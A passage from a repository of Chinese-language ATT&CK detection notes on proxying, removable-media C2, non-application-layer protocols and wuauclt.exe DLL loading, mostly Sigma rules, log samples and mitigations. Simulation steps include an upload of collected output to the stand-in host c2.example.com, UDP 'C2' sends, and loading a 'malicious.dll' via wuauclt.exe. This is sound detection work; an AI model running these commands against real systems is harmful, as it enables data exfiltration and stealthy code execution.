-DisplayName \"Block Proxy Ports\" -Direction Outbound -Action Block -Protocol TCP -RemotePort 8080,3128,9050\n     ```\n\n3. **监控端口转发配置**  \n   - 定期检查`netsh`端口转发：\n     ```powershell\n     netsh interface portproxy show all\n     ```\n   - 配置Sysmon监控注册表：\n     ```xml\n     <RuleGroup name=\"RegistryEvent\" groupRelation=\"and\">\n       <RegistryEvent onmatch=\"include\">\n         <TargetObject condition=\"contains\">PortProxy</TargetObject>\n       </RegistryEvent>\n     </RuleGroup>\n     ```\n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、3、7和Windows事件ID 4688，检测代理行为。  \n   - 配置SIEM实时告警`netsh`执行或非标准端口流量。  \n   - 使用EDR工具检测代理工具滥用。  \n\n5. **定期审计**  \n   - 检查`netsh`执行：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"netsh.exe\" }\n     ```\n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \":8080\" }\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，修复可能被利用的漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1090.001  \n  <https://attack.mitre.org/techniques/T1090/001/>  \n- FreeBuf: Netsh端口转发  \n  <https://www.freebuf.com/articles/system/176889.html>"
  },
  {
    "path": "Windows/12命令与控制/T1092-通过可移动媒介传播.md",
    "content": "# T1092-通过可移动媒介传播\n\n## 描述\n\n攻击者利用可移动媒体（如U盘、移动硬盘、SD卡）在网络隔离或断网的受感染主机之间进行命令与控制（C2）或数据传输（T1092）。此技术通常针对空气隔离（Air-Gapped）环境，通过物理媒介在联网和断网系统间传递命令、恶意文件或窃取数据。攻击流程包括：\n\n1. **初始感染**：攻击者首先通过联网系统（如通过钓鱼邮件或漏洞利用）植入恶意软件。\n2. **横向移动**：通过可移动媒体将恶意代码或指令复制到断网系统。\n3. **数据中继**：断网系统将执行结果或数据写入可移动媒体，再通过联网系统传回攻击者控制的C2服务器。\n\n此技术隐蔽性高，因其不依赖网络连接，难以通过传统网络监控检测。检测重点在于监控可移动媒体的插入、文件访问及相关进程行为。\n\n## 测试案例\n\n1. **U盘命令传播**  \n   模拟通过U盘在联网与断网主机间传输恶意脚本（如PowerShell脚本），执行命令并回传结果。  \n2. **数据渗出**  \n   使用U盘从断网主机复制敏感文件，传输至联网主机并上传至外部服务器。  \n3. **自动运行感染**  \n   配置U盘使用`autorun.inf`触发恶意代码，模拟自动感染断网系统。  \n\n### 示例命令\n- **创建测试脚本**（联网主机，需用户权限）：\n  ```powershell\n  $script = \"whoami > C:\\Temp\\result.txt\"\n  Set-Content -Path \"E:\\malicious.ps1\" -Value $script\n  ```\n- **执行脚本**（断网主机）：\n  ```powershell\n  powershell.exe -ExecutionPolicy Bypass -File E:\\malicious.ps1\n  ```\n- **清理**：\n  ```powershell\n  Remove-Item E:\\malicious.ps1 -ErrorAction Ignore\n  Remove-Item C:\\Temp\\result.txt -ErrorAction Ignore\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4656**：记录可移动媒体的文件访问权限请求。  \n- **事件ID 4663**：记录文件读写操作。  \n- **事件ID 4688**：记录可移动媒体触发进程（如`powershell.exe`）创建。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，捕获U盘执行的脚本或二进制文件。  \n- **事件ID 11**：记录文件创建/修改（如U盘上的恶意文件）。  \n- **事件ID 15**：记录文件流创建（如`autorun.inf`）。  \n\n**设备管理日志**  \n- **事件ID 20001**：记录可移动媒体插入/移除（需启用设备日志）。  \n\n**配置日志记录**  \n- 启用文件访问审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核文件系统 > 成功/失败`。  \n- 启用Sysmon配置：监控可移动媒体路径（如`E:\\`）的文件和进程活动：\n  ```xml\n  <RuleGroup name=\"FileCreate\" groupRelation=\"and\">\n    <FileCreate onmatch=\"include\">\n      <TargetFilename condition=\"contains\">E:\\</TargetFilename>\n    </FileCreate>\n  </RuleGroup>\n  ```\n- 启用设备插入日志：`计算机配置 > 管理模板 > 系统 > 设备安装 > 启用设备安装事件日志`。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：两台Windows 10/11主机（一台联网，一台断网）。  \n- **权限**：用户权限（某些操作如禁用U盘需管理员）。  \n- **工具**：U盘、`powershell.exe`（系统自带）、Sysmon、USB监控工具（如USBLogView）。  \n- **日志**：启用Windows安全日志、Sysmon日志、设备管理日志。  \n\n### 攻击步骤\n1. **准备U盘**（联网主机）  \n   - 创建恶意脚本：\n     ```powershell\n     Set-Content -Path \"E:\\malicious.ps1\" -Value \"whoami > E:\\result.txt\"\n     ```\n\n2. **传播到断网主机**  \n   - 插入U盘至断网主机，执行脚本：\n     ```powershell\n     powershell.exe -ExecutionPolicy Bypass -File E:\\malicious.ps1\n     ```\n\n3. **回传结果**  \n   - 将U盘插回联网主机，查看结果：\n     ```powershell\n     Get-Content E:\\result.txt\n     ```\n   - 模拟上传至C2：\n     ```powershell\n     Invoke-WebRequest -Uri \"http://c2.example.com/upload\" -Method Post -InFile E:\\result.txt\n     ```\n\n4. **验证结果**  \n   - 检查Sysmon日志（文件创建）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 11 -and $_.Message -match \"E:\\\\\" }\n     ```\n   - 检查进程创建：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"powershell.exe\" }\n     ```\n   - 检查设备插入：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Kernel-PnP/Configuration\" | Where-Object { $_.Id -eq 20001 }\n     ```\n\n5. **清理**  \n   - 删除U盘文件：\n     ```powershell\n     Remove-Item E:\\malicious.ps1, E:\\result.txt -ErrorAction Ignore\n     ```\n\n### 示例输出\n```powershell\nGet-Content E:\\result.txt\ncontoso\\user\n```\n\n**注意**：测试需在合法授权环境进行，替换`c2.example.com`为测试服务器。\n\n## 日志解析\n\n- **Windows安全日志（事件ID 4688，进程创建）**：\n  ```plaintext\n  EventID: 4688\n  Subject:\n    Security ID: CONTOSO\\User\n    Account Name: User\n    Account Domain: CONTOSO\n    Logon ID: 0x123456\n  Process Information:\n    New Process ID: 0x3b2c\n    New Process Name: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n    Token Elevation Type: TokenElevationTypeLimited (3)\n    Mandatory Label: Mandatory Label\\Medium Mandatory Level\n    Creator Process ID: 0x2a1c\n    Creator Process Name: C:\\Windows\\explorer.exe\n    Process Command Line: powershell.exe -ExecutionPolicy Bypass -File E:\\malicious.ps1\n  ```\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:10:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 15148\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  CommandLine: powershell.exe -ExecutionPolicy Bypass -File E:\\malicious.ps1\n  ParentImage: C:\\Windows\\explorer.exe\n  User: CONTOSO\\User\n  IntegrityLevel: Medium\n  ```\n\n- **Sysmon日志（事件ID 11，文件创建）**：\n  ```plaintext\n  EventID: 11\n  UtcTime: 2025-06-10 03:10:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  TargetFilename: E:\\result.txt\n  User: CONTOSO\\User\n  ```\n\n- **Device Manager日志（事件ID 20001，设备插入）**：\n  ```plaintext\n  EventID: 20001\n  UtcTime: 2025-06-10 03:10:00.345\n  DeviceId: USB\\VID_0781&PID_5581\\1234567890\n  DeviceDescription: USB Mass Storage Device\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控可移动媒体的插入、文件访问及相关进程行为，检测恶意传播活动。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 11，检测U盘上的文件创建/修改（如`.ps1`、`.exe`）。  \n   - 监控Sysmon事件ID 1，检测U盘触发进程（如`powershell.exe`执行脚本）。  \n   - 监控Windows安全日志事件ID 4656、4663，检测可移动媒体文件访问。  \n   - 监控设备管理日志事件ID 20001，检测U盘插入/移除。  \n   - 使用USB监控工具（如USBLogView）记录U盘活动。  \n\n2. **Sigma规则（U盘脚本执行）**：\n   ```yaml\n   title: 可移动媒体脚本执行检测\n   id: c78901234-abcd-5678-9012-34567890wxyz\n   status: stable\n   description: 检测从可移动媒体执行的脚本或二进制文件\n   references:\n     - https://attack.mitre.org/techniques/T1092/\n   tags:\n     - attack.command_and_control\n     - attack.t1092\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith:\n         - '\\powershell.exe'\n         - '\\cmd.exe'\n       CommandLine|contains:\n         - 'E:\\'\n         - 'F:\\'\n         - 'G:\\'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 合法U盘脚本执行\n     - 管理员测试\n   level: high\n   ```\n\n3. **Sigma规则（U盘文件创建）**：\n   ```yaml\n   title: 可移动媒体文件创建检测\n   id: d89012345-abcd-6789-0123-45678901yzab\n   status: experimental\n   description: 检测可移动媒体上的可疑文件创建\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 11\n       TargetFilename|contains:\n         - 'E:\\'\n         - 'F:\\'\n         - 'G:\\'\n       TargetFilename|endswith:\n         - '.ps1'\n         - '.exe'\n         - '.bat'\n     condition: selection\n   fields:\n     - Image\n     - TargetFilename\n     - User\n   falsepositives:\n     - 合法U盘文件操作\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测U盘活动。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=1 CommandLine IN (\"*E:\\*\",\"*F:\\*\",\"*G:\\*\") Image IN (\"*powershell.exe\",\"*cmd.exe\")) OR\n     (EventID=11 TargetFilename IN (\"*E:\\*\",\"*F:\\*\",\"*G:\\*\"))) OR\n     (source=\"WinEventLog:Microsoft-Windows-Kernel-PnP/Configuration\" EventID=20001)\n     | stats count by Image, CommandLine, TargetFilename, User, ComputerName\n     ```\n\n5. **文件访问监控**：\n   - 检查U盘文件操作：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -in 4656,4663 -and $_.Message -match \"[E-G]:\\\\\" }\n     ```\n\n6. **工具支持**：\n   - 使用USBLogView记录U盘插入/移除及文件操作。  \n   - 使用Sysinternals Process Monitor捕获U盘相关进程和文件活动。  \n   - 使用EDR工具（如CrowdStrike、Carbon Black）监控U盘行为。  \n\n7. **威胁情报整合**：\n   - 检查U盘文件哈希是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal）。  \n\n## 建议\n\n### 缓解措施\n\n防御可移动媒体传播需从设备控制、文件监控和隔离策略入手：\n\n1. **禁用可移动媒体**  \n   - 禁用U盘自动运行：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" -Name NoAutorun -Value 1\n     ```\n   - 阻止U盘访问：\n     ```powershell\n     Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR\" -Name Start -Value 4\n     ```\n\n2. **限制脚本执行**  \n   - 配置PowerShell执行策略：\n     ```powershell\n     Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy Restricted\n     ```\n   - 使用AppLocker限制脚本：\n     ```powershell\n     New-AppLockerPolicy -RuleType Script -Path \"*.ps1\" -Action Deny -User \"Everyone\"\n     ```\n\n3. **监控U盘活动**  \n   - 配置Sysmon监控可移动媒体：\n     ```xml\n     <RuleGroup name=\"FileCreate\" groupRelation=\"and\">\n       <FileCreate onmatch=\"include\">\n         <TargetFilename condition=\"contains\">[E-G]:\\\\</TargetFilename>\n       </FileCreate>\n     </RuleGroup>\n     ```\n   - 部署USB监控工具（如USBLock、DeviceLock）。  \n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、11、15和Windows事件ID 4656、4663、20001。  \n   - 配置SIEM实时告警U盘插入或可疑文件执行。  \n   - 使用EDR工具检测U盘相关威胁。  \n\n5. **定期审计**  \n   - 检查U盘文件操作：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 11 -and $_.Message -match \"[E-G]:\\\\\" }\n     ```\n   - 检查设备插入：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Kernel-PnP/Configuration\" | Where-Object { $_.Id -eq 20001 }\n     ```\n\n6. **隔离网络**  \n   - 加强空气隔离环境管理，限制U盘在联网与断网主机间的使用。  \n   - 部署DLP（数据丢失防护）工具，监控U盘数据传输。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1092  \n  <https://attack.mitre.org/techniques/T1092/>"
  },
  {
    "path": "Windows/12命令与控制/T1095-非应用层协议.md",
    "content": "# T1095-非应用层协议\n\n## 描述\n\n攻击者利用非应用层协议（如ICMP、UDP、SOCKS或SOL）在主机与命令与控制（C2）服务器间，或网络内受感染主机间进行通信（T1095）。这些协议因其在网络中的普遍性或较低的监控频率，常被用于隐藏C2通信或数据渗出。非应用层协议（如ICMP）通常不承载应用数据，攻击者可在其数据字段中嵌入恶意指令或数据，伪装成正常网络活动。相比HTTP/HTTPS等应用层协议，非应用层协议的流量更难被传统防火墙或IDS检测。\n\n常见场景包括：\n- **ICMP隧道**：通过ICMP（Ping）数据包传输C2指令或数据。\n- **UDP通信**：利用自定义UDP数据包进行隐秘通信。\n- **SOCKS代理**：通过SOCKS协议重定向C2流量。\n\n检测重点在于识别异常协议流量（如ICMP数据包异常大小）、不典型数据流及相关进程的网络行为。\n\n## 测试案例\n\n1. **ICMP隧道**  \n   使用工具（如`pingtunnel`）通过ICMP数据包传输数据，模拟C2通信。  \n2. **UDP自定义通信**  \n   使用PowerShell或Python发送自定义UDP数据包，嵌入C2指令。  \n3. **SOCKS代理**  \n   配置SOCKS代理工具（如`proxychains`）重定向C2流量。  \n\n### 示例命令\n- **ICMP数据传输**（需管理员权限，假设使用`ping`模拟）：\n  ```cmd\n  ping -p 41424344 c2.example.com\n  ```\n- **UDP数据发送**（PowerShell）：\n  ```powershell\n  $client = New-Object System.Net.Sockets.UdpClient\n  $data = [System.Text.Encoding]::ASCII.GetBytes(\"C2 command\")\n  $client.Send($data, $data.Length, \"c2.example.com\", 12345)\n  $client.Close()\n  ```\n- **清理**：\n  ```powershell\n  Stop-Process -Name powershell -Force\n  ```\n\n## 检测日志\n\n**Netflow日志**  \n- 记录ICMP、UDP或其他非应用层协议流量，捕获源/目标IP、端口、数据量及会话时long。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录触发协议通信的进程（如`ping.exe`、`powershell.exe`）创建及命令行参数。  \n- **事件ID 3**：记录网络连接，捕获ICMP或UDP流量（目标IP/端口）。  \n- **事件ID 7**：记录加载的模块，检测代理工具的DLL。  \n\n**Windows安全日志**  \n- **事件ID 4688**：记录可疑进程（如`ping.exe`）创建。  \n\n**PowerShell日志**  \n- **事件ID 4104**：记录PowerShell脚本执行（如UDP数据发送）。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用PowerShell日志：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。  \n- 配置Sysmon监控ICMP/UDP流量：\n  ```xml\n  <RuleGroup name=\"NetworkConnect\" groupRelation=\"and\">\n    <NetworkConnect onmatch=\"include\">\n      <Protocol>icmp</Protocol>\n      <Protocol>udp</Protocol>\n    </NetworkConnect>\n  </RuleGroup>\n  ```\n- 使用IDS/IPS（如Snort）记录ICMP/UDP流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2022。  \n- **权限**：用户权限（ICMP需管理员权限）。  \n- **工具**：`ping.exe`、`powershell.exe`（系统自带）、Sysmon、Wireshark、测试C2服务器（如`c2.example.com`）。  \n- **网络**：可控网络环境，允许ICMP/UDP出站流量。  \n- **日志**：启用Sysmon、Windows安全日志、PowerShell日志，配置网络监控。  \n\n### 攻击步骤\n1. **ICMP通信测试**  \n   - 使用`ping`发送自定义数据：\n     ```cmd\n     ping -p 41424344 127.0.0.1 -n 1\n     ```\n\n2. **UDP通信测试**  \n   - 执行PowerShell脚本：\n     ```powershell\n     $client = New-Object System.Net.Sockets.UdpClient\n     $data = [System.Text.Encoding]::ASCII.GetBytes(\"C2 command\")\n     $client.Send($data, $data.Length, \"127.0.0.1\", 12345)\n     $client.Close()\n     ```\n\n3. **验证结果**  \n   - 检查Sysmon日志（网络连接）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"icmp|udp\" }\n     ```\n   - 检查Windows安全日志：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"ping.exe|powershell.exe\" }\n     ```\n   - 检查PowerShell日志：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-PowerShell/Operational\" | Where-Object { $_.Id -eq 4104 -and $_.Message -match \"UdpClient\" }\n     ```\n   - 检查Netflow（Wireshark过滤`icmp`或`udp.port == 12345`）。  \n\n4. **清理**  \n   - 终止脚本：\n     ```powershell\n     Stop-Process -Name powershell -Force\n     ```\n\n### 示例输出\n```cmd\nping -p 41424344 127.0.0.1 -n 1\nPinging 127.0.0.1 with 32 bytes of data:\nReply from 127.0.0.1: bytes=32 time<1ms TTL=128\n```\n\n```powershell\n$client.Send($data, $data.Length, \"127.0.0.1\", 12345)\n10\n```\n\n**注意**：测试需在合法授权环境进行，替换`c2.example.com`为测试服务器。\n\n## 日志解析\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:10:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 12345\n  Image: C:\\Windows\\System32\\ping.exe\n  CommandLine: ping -p 41424344 127.0.0.1 -n 1\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\User\n  IntegrityLevel: High\n  ```\n\n- **Sysmon日志（事件ID 3，网络连接）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:10:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\ping.exe\n  DestinationIp: 127.0.0.1\n  Protocol: icmp\n  User: CONTOSO\\User\n  ```\n\n- **Sysmon日志（事件ID 3，UDP连接）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:10:00.345\n  ProcessGuid: {abcdef12-3456-7890-abcd-ef1234567890}\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  DestinationIp: 127.0.0.1\n  DestinationPort: 12345\n  Protocol: udp\n  User: CONTOSO\\User\n  ```\n\n- **PowerShell日志（事件ID 4104，脚本执行）**：\n  ```plaintext\n  EventID: 4104\n  Source: Microsoft-Windows-PowerShell\n  Message: Creating Scriptblock text (1 of 1):\n  $client = New-Object System.Net.Sockets.UdpClient\n  $data = [System.Text.Encoding]::ASCII.GetBytes(\"C2 command\")\n  $client.Send($data, $data.Length, \"127.0.0.1\", 12345)\n  ScriptBlock ID: {abcdef12-3456-7890-abcd-ef1234567890}\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控ICMP、UDP等非应用层协议的异常流量、数据模式及相关进程，检测恶意通信。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Netflow，检测ICMP或UDP的异常流量（如大尺寸ICMP数据包、高频UDP通信）。  \n   - 监控Sysmon事件ID 3，检测`ping.exe`或`powershell.exe`的ICMP/UDP连接。  \n   - 监控Sysmon事件ID 1，检测触发协议通信的进程命令行参数。  \n   - 监控PowerShell日志事件ID 4104，检测UDP相关操作（如`UdpClient`）。  \n   - 监控Windows安全日志事件ID 4688，检测可疑进程创建。  \n   - 使用Wireshark分析ICMP/UDP数据包，检查异常数据或模式。  \n\n2. **Sigma规则（ICMP异常流量）**：\n   ```yaml\n   title: ICMP异常流量检测\n   id: e90123456-abcd-7890-1234-56789012cdef\n   status: experimental\n   description: 检测疑似ICMP隧道的异常流量\n   references:\n     - https://attack.mitre.org/techniques/T1095/\n   tags:\n     - attack.command_and_control\n     - attack.t1095\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 3\n       Protocol: icmp\n       Image|endswith: '\\ping.exe'\n     condition: selection\n   fields:\n     - Image\n     - DestinationIp\n     - User\n   falsepositives:\n     - 合法网络诊断\n     - 管理员测试\n   level: medium\n   ```\n\n3. **Sigma规则（UDP异常通信）**：\n   ```yaml\n   title: UDP异常通信检测\n   id: f01234567-abcd-8901-2345-67890123ghij\n   status: experimental\n   description: 检测疑似UDP C2通信的异常流量\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 3\n       Protocol: udp\n       Image|endswith:\n         - '\\powershell.exe'\n         - '\\python.exe'\n     condition: selection\n   fields:\n     - Image\n     - DestinationIp\n     - DestinationPort\n     - User\n   falsepositives:\n     - 合法UDP应用\n     - 网络测试工具\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测ICMP/UDP异常行为。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventID=3 Protocol IN (\"icmp\",\"udp\")\n     Image IN (\"*ping.exe\",\"*powershell.exe\",\"*python.exe\")\n     | stats count by Image, Protocol, DestinationIp, DestinationPort, User, ComputerName\n     ```\n\n5. **网络流量分析**：\n   - 检查ICMP数据包大小：\n     ```bash\n     tshark -f \"icmp\" -Y \"length > 64\"\n     ```\n   - 检查UDP流量：\n     ```bash\n     tshark -f \"udp port 12345\" -Y \"udp\"\n     ```\n   - 使用IDS规则检测ICMP隧道：\n     ```snort\n     alert icmp $HOME_NET any -> $EXTERNAL_NET any (msg:\"Suspicious ICMP Traffic\"; dsize:>64; sid:1000008;)\n     ```\n\n6. **API调用监控**：\n   - 使用EDR工具监控与ICMP/UDP相关的API调用（如`IcmpSendEcho`、`sendto`）。  \n   - 示例API检测：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 7 -and $_.Message -match \"ws2_32.dll\" }\n     ```\n\n7. **工具支持**：\n   - 使用Wireshark分析ICMP/UDP流量，检查数据模式。  \n   - 使用Sysinternals Process Monitor捕获协议相关进程活动。  \n   - 使用Zeek生成协议日志，分析流量模式。  \n\n8. **威胁情报整合**：\n   - 检查目标IP是否与已知C2服务器匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御非应用层协议通信需从协议限制、流量监控和进程控制入手：\n\n1. **限制ICMP/UDP流量**  \n   - 配置防火墙阻止非必要ICMP：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block ICMP Outbound\" -Direction Outbound -Action Block -Protocol ICMP\n     ```\n   - 限制非标准UDP端口：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block UDP Ports\" -Direction Outbound -Action Block -Protocol UDP -RemotePort 12345\n     ```\n\n2. **限制工具执行**  \n   - 使用AppLocker限制`ping.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"%SystemRoot%\\System32\\ping.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n3. **监控协议流量**  \n   - 配置Sysmon监控ICMP/UDP：\n     ```xml\n     <RuleGroup name=\"NetworkConnect\" groupRelation=\"and\">\n       <NetworkConnect onmatch=\"include\">\n         <Protocol>icmp</Protocol>\n         <Protocol>udp</Protocol>\n       </NetworkConnect>\n     </RuleGroup>\n     ```\n   - 部署IDS/IPS检测异常ICMP/UDP流量。  \n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、3、7和PowerShell事件ID 4104，检测协议行为。  \n   - 配置SIEM实时告警ICMP/UDP异常流量。  \n   - 使用EDR工具检测协议滥用。  \n\n5. **定期审计**  \n   - 检查ICMP/UDP流量：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"icmp|udp\" }\n     ```\n   - 检查可疑进程：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"ping.exe|powershell.exe\" }\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，修复协议漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1095  \n  <https://attack.mitre.org/techniques/T1095/>"
  },
  {
    "path": "Windows/12命令与控制/T1105-Windows Update可滥用于执行恶意程序行为检测.md",
    "content": "# T1105-Win-入口工具转移-wuauclt.exe(白名单)\n\n## 描述\n\n攻击者可能通过命令和控制通道从外部系统将工具或其他文件转移到被攻陷的环境中，以将恶意工具或有效载荷引入目标网络。文件传输可通过专用工具（如FTP）或替代协议（如scp、rsync、sftp）实现，适用于Windows、Mac和Linux系统。攻击者常利用系统内置的白名单工具（如`wuauclt.exe`）来规避传统防病毒检测或安全机制。\n\n## 测试案例\n\n根据Bleeping Computer报道，MDSec研究人员David Middlehurst发现，攻击者可利用Windows Update客户端`wuauclt.exe`（位于`C:\\Windows\\System32\\wuauclt.exe`）加载特制的DLL文件，从而在Windows 10及以上系统中执行恶意代码。此技术通过`/UpdateDeploymentProvider`和`/RunHandlerComServer`命令行参数实现，可能绕过用户账户控制（UAC）和Windows Defender应用程序控制（WDAC），用于在已受损系统上实现持久化或代码执行。\n\n### 路径\n```yml\n- C:\\Windows\\System32\\wuauclt.exe\n```\n\n### 示例命令\n从指定路径加载恶意DLL：\n```yml\nwuauclt.exe /UpdateDeploymentProvider [path_to_dll] /RunHandlerComServer\n```\n\n### 用例\n- 加载恶意DLL以执行攻击者控制的代码。\n- 所需权限：用户权限（可能需要管理员权限加载特定DLL）。\n- 操作系统：Windows 10、Windows 11、Windows Server 2016、Windows Server 2019、Windows Server 2022。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`wuauclt.exe`进程创建及命令行参数（需启用命令行审核）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`wuauclt.exe`进程创建及命令行参数。\n- **事件ID 7**：记录DLL加载事件，检测是否加载了非系统DLL。\n- **事件ID 3**：记录可能的网络连接（若DLL发起网络活动）。\n\n### EDR日志\n- 其他EDR类产品（如CrowdStrike、Microsoft Defender for Endpoint）可能记录`wuauclt.exe`的异常行为或DLL加载事件。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10或Windows 11。\n- **权限**：用户权限（部分场景可能需要管理员权限）。\n- **工具**：\n  - `wuauclt.exe`（系统自带，路径`C:\\Windows\\System32\\wuauclt.exe`）。\n  - Sysmon（用于进程和DLL加载监控）。\n  - 测试DLL（需在合法授权环境中创建模拟恶意DLL）。\n- **网络**：视DLL功能，可能涉及网络连接，建议在隔离网络中测试。\n- **日志**：启用Windows安全日志、Sysmon日志及EDR监控。\n\n### 攻击步骤\n1. **准备恶意DLL**：\n   - 创建或获取测试用DLL（需在合法授权环境中模拟）。\n2. **执行命令**：\n   ```bash\n   C:\\Windows\\System32\\wuauclt.exe /UpdateDeploymentProvider C:\\path\\to\\malicious.dll /RunHandlerComServer\n   ```\n   - 命令加载指定路径的DLL并执行其代码。\n3. **验证结果**：\n   - 检查DLL是否被加载（通过Sysmon事件ID 7）。\n   - 监控后续行为（如网络连接或文件操作）。\n4. **清理**：\n   - 删除测试DLL，终止相关进程。\n\n**注意**：测试需在合法授权的隔离环境中进行，避免对生产环境或未经授权的系统造成影响。\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688）：\n```yml\n已创建新进程。\n\n创建者主题:\n安全 ID: DESKTOP-PT656L6\\liyang\n帐户名: liyang\n帐户域: DESKTOP-PT656L6\n登录 ID: 0x47126\n\n进程信息:\n新进程 ID: 0x1f4c\n新进程名称: C:\\Windows\\System32\\wuauclt.exe\n令牌提升类型: %%1938\n强制性标签: Mandatory Label\\Medium Mandatory Level\n创建者进程 ID: 0x1a30\n创建者进程名称: C:\\Windows\\System32\\cmd.exe\n进程命令行: wuauclt.exe /UpdateDeploymentProvider C:\\path\\to\\malicious.dll /RunHandlerComServer\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测`wuauclt.exe`的异常执行行为：\n\n```yml\ntitle: Windows Update Client Abused Execution\nid: a9b8c7d4-2e3f-4c6a-9e8f-4d3b6c7a8e9b\nstatus: experimental\ndescription: Detects code execution via the Windows Update client (wuauclt.exe) with suspicious parameters\nauthor: David Middlehurst, adapted by Grok\ndate: 2022/04/20\nreferences:\n- https://www.nruan.com/75037.html\n- https://attack.mitre.org/techniques/T1105\ntags:\n- attack.command_and_control\n- attack.execution\n- attack.t1105\n- attack.t1218\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    Image|endswith: '\\wuauclt.exe'\n    CommandLine|contains|all:\n      - '/UpdateDeploymentProvider'\n      - '/RunHandlerComServer'\n 